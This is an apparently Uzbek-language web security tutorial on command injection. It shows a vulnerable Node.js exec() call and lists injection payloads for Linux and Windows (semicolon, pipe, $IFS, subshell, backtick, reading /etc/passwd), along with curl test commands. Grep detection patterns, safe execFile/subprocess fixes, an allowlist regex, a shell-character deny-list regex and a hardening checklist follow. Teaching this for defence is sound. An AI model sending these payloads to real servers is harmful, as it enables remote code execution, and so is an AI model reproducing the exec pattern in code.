Command Injection

≡ Barcha darslar
Tezkor 🔎 Indeks
💥

Command Injection

Serverda buyruq bajarish (RCE)
Dars 04 Jiddiy o'z saytingizda
1

Maqsad

Foydalanuvchi kiritgan qiymat server buyrug'iga exec/system orqali tushsa — hujumchi serverda istalgan buyruqni bajaradi (RCE).

Eng og'ir zaiflik

RCE — bu server ustidan to'liq nazorat: fayl o'qish, kalit o'g'irlash, yangi foydalanuvchi yaratish, boshqa saytlarga hujum.

2

Tushuntirish

// XAVFLI
exec(`ping -c 1 ${req.query.host}`);
// Hujum: host = 127.0.0.1; cat /etc/passwd
// bajariladigan buyruq:
ping -c 1 127.0.0.1; cat /etc/passwd

// TO'G'RI — oq ro'yxat
if (!/^[a-zA-Z0-9.-]+$/.test(host)) return fail();
execFile('ping', ['-c','1',host]);   // shell: false

Ishga tushirish usullari

TilXavfliXavfsiz
Node.jsexec(), execSync()execFile(), spawn() (shell:false)
Pythonos.system(), subprocess(...,shell=True)subprocess.run([...])
PHPsystem(), exec(), shell_exec()escapeshellarg() yoki validatsiya
JavaRuntime.exec("sh -c ...")ProcessBuilder([...])
3

Qanday aniqlanadi

# 1) kodda buyruq chaqiruvlari
grep -rnE "exec\(|execSync|system\(|shell_exec|popen|subprocess|child_process|Runtime\.exec" src/

# 2) kirish nuqtalari — qaysi qiymatlar ichkariga boradi
grep -rnE "exec\(.*(req\.|params|query|body)" src/

# 3) shell belgilari
grep -rnE "sh -c|bash -c|cmd /c" src/
4

Buyruqlar

platforma belgilari
# asosiy belgilar (ketma-ket urinish)
?host=127.0.0.1;id
?host=127.0.0.1|id
?host=127.0.0.1&id
?host=127.0.0.1%0aid          # URL kodlash
?host=127.0.0.1%0a%0did

# filtrlashni chidamli qilish
?host=127.0.0.1 ; cat /etc/passwd     # bo'shliq
?host=127.0.0.1$IFS'id'                # $IFS
?host=127.0.0.1'%0a'%0a'id'            # yangi qator
?host=..%2f..%2f..%2fetc%2fpasswd     # traversal
?host=127.0.0.1$(id)                   # subshell
?host=127.0.0.1`id`                     # backtick

# natija
uid=33(www-data) gid=33(www-data) groups=33(www-data)
   # ← buyruq bajarildi = RCE
# Windows server uchun
?host=127.0.0.1&whoami
?host=127.0.0.1|whoami
?host=127.0.0.1%26whoami
?host=127.0.0.1^&whoami          # CMD escape
?host=127.0.0.1%0a%0awhoami

# natija
nt authority\system32
et\service
   # ← buyruq bajarildi = RCE
# curl — ikkala platformada ham
curl -s "https://site.uz/api/ping?host=127.0.0.1%3Bid" | head -c 200
curl -s "https://site.uz/api/ping?host=127.0.0.1%26whoami" | head -c 200
curl -s "https://site.uz/api/ping?host=127.0.0.1%24(id)" | head -c 200
5

Natija

✓ MUvaffaqiyat — hujum ISHLADI
Server javobiNima degani
`uid=33(www-data)` chiqdi**RCE — Linux shell**
`nt authority\...` chiqdi**RCE — Windows shell**
`/etc/passwd` kontenti keldiBuyruq + fayl o'qish ishlayapti
Kutilmagan xato (`ping: bad address` yo'q)**Buyruq bajarilgan**
✗ Rad etish — hujum ISHLAMADI
Server javobiNima degani
`ping: bad address` xatosiKiritish rad etildi — filtr ishlayapti
`400 / invalid input`Server validatsiya qildi
Faqat IP formatiga mos keladi**Zaxavfsiz** — oq ro'yxat bor
Xabar 200 lekin javob normal pingBuyruq bajarilmagan
6

Zararni yopish

1. Hech qachon shell ishlatmang

// Node.js
const { execFile } = require('child_process');
execFile('ping', ['-c', '1', host], { timeout: 3000 }, (e, out) => { ... });
// ↑ shell:false (standart) — & va ; ishlaydi

// Python
subprocess.run(['ping', '-c', '1', host], timeout=3, capture_output=True)
# shell=False (standart)

// PHP
exec('ping -c 1 ' . escapeshellarg($host), $out, $rc);

2. Oq ro'yxat — eng kuchli himoya

const IP_RE = /^(25[0-5]|2[0-4]\d|[01]?\d?\d)(\.\d{1,3}){3}$/;
if (!IP_RE.test(host)) return res.status(400).json({ success:false });

// bo'lishni umuman bloklash
if (/[;&|`$()<>\n\r]/.test(host)) return fail();

3. Imtiyozni kamaytirish

  • Sayt foydalanuvchisi nobody / www-data
  • shell_exec, exec funksiyalarini disable_functions bilan o'chirish
  • Konteyner (Docker) ichida ishga tushiring
  • Chiqish yo'lini (egress) filtrlang
7

Tekshirish ro'yxati

  • `exec`/`system`/`subprocess(shell=True)` ishlatilmadi
  • `execFile`/`spawn`/`subprocess.run` (array) ishlatiladi
  • Barcha kirish qiymatlari oq ro'yxat bilan tekshiriladi
  • `; | & \` $ ( )` belgilari rad etiladi
  • `disable_functions` da exec oilasi o'chirilgan
  • Server foydalanuvchisi minimal huquq bilan
  • `;id` payload bilan test qilindi
← Oldingi
💉 NoSQL Injection
Keyingi →
🎯 SSTI — shablon inksiyasi